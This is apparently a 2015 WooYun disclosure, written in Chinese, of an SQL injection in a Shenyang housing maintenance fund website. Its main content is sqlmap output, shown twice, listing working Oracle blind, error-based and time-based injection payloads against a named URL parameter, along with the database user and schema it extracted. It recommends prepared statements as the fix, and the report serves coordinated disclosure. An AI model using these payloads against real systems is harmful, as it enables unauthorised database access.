漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0104899
漏洞标题:沈阳住宅专项维修基金管理系统存在sql注入
相关厂商:沈阳住宅专项维修基金
漏洞作者: JotPot
提交时间:2015-04-01 15:13
修复时间:2015-05-18 18:04
公开时间:2015-05-18 18:04
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-04-01: 细节已通知厂商并且等待厂商处理中
2015-04-03: 厂商已经确认,细节仅向厂商公开
2015-04-13: 细节向核心白帽子及相关领域专家公开
2015-04-23: 细节向普通白帽子公开
2015-05-03: 细节向实习白帽子公开
2015-05-18: 细节向公众公开
简要描述:
沈阳住宅专项维修基金管理系统存在sql注入
详细说明:
http://www.sywxzj.com/queryNews.do?ctid=3
ctid存在注入
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: ctid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ctid=3 AND 6531=6531
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: ctid=3 AND 7865=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(119)||C
HR(101)||CHR(99)||CHR(58)||(SELECT (CASE WHEN (7865=7865) THEN 1 ELSE 0 END) FRO
M DUAL)||CHR(58)||CHR(103)||CHR(118)||CHR(101)||CHR(58)||CHR(62))) FROM DUAL)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: ctid=3 AND 5084=DBMS_PIPE.RECEIVE_MESSAGE(CHR(106)||CHR(118)||CHR(1
10)||CHR(115),5)
---
[00:27:35] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[00:27:35] [INFO] fetching current user
[00:27:35] [INFO] resumed: WEBUSER
current user: 'WEBUSER'
[00:27:35] [INFO] fetching current database
[00:27:35] [INFO] resumed: WEBUSER
current schema (equivalent to database on Oracle): 'WEBUSER'
[00:27:35] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
漏洞证明:
http://www.sywxzj.com/queryNews.do?ctid=3
ctid存在注入
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: ctid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ctid=3 AND 6531=6531
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: ctid=3 AND 7865=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(119)||C
HR(101)||CHR(99)||CHR(58)||(SELECT (CASE WHEN (7865=7865) THEN 1 ELSE 0 END) FRO
M DUAL)||CHR(58)||CHR(103)||CHR(118)||CHR(101)||CHR(58)||CHR(62))) FROM DUAL)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: ctid=3 AND 5084=DBMS_PIPE.RECEIVE_MESSAGE(CHR(106)||CHR(118)||CHR(1
10)||CHR(115),5)
---
[00:27:35] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[00:27:35] [INFO] fetching current user
[00:27:35] [INFO] resumed: WEBUSER
current user: 'WEBUSER'
[00:27:35] [INFO] fetching current database
[00:27:35] [INFO] resumed: WEBUSER
current schema (equivalent to database on Oracle): 'WEBUSER'
[00:27:35] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
修复方案:
采用preparedstatement
版权声明:转载请注明来源 JotPot@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:10
确认时间:2015-04-03 18:03
厂商回复:
CNVD确认并复现所述情况,已经转由CNCERT下发给相应分中心,由其后续协调网站管理单位处置。
最新状态:
暂无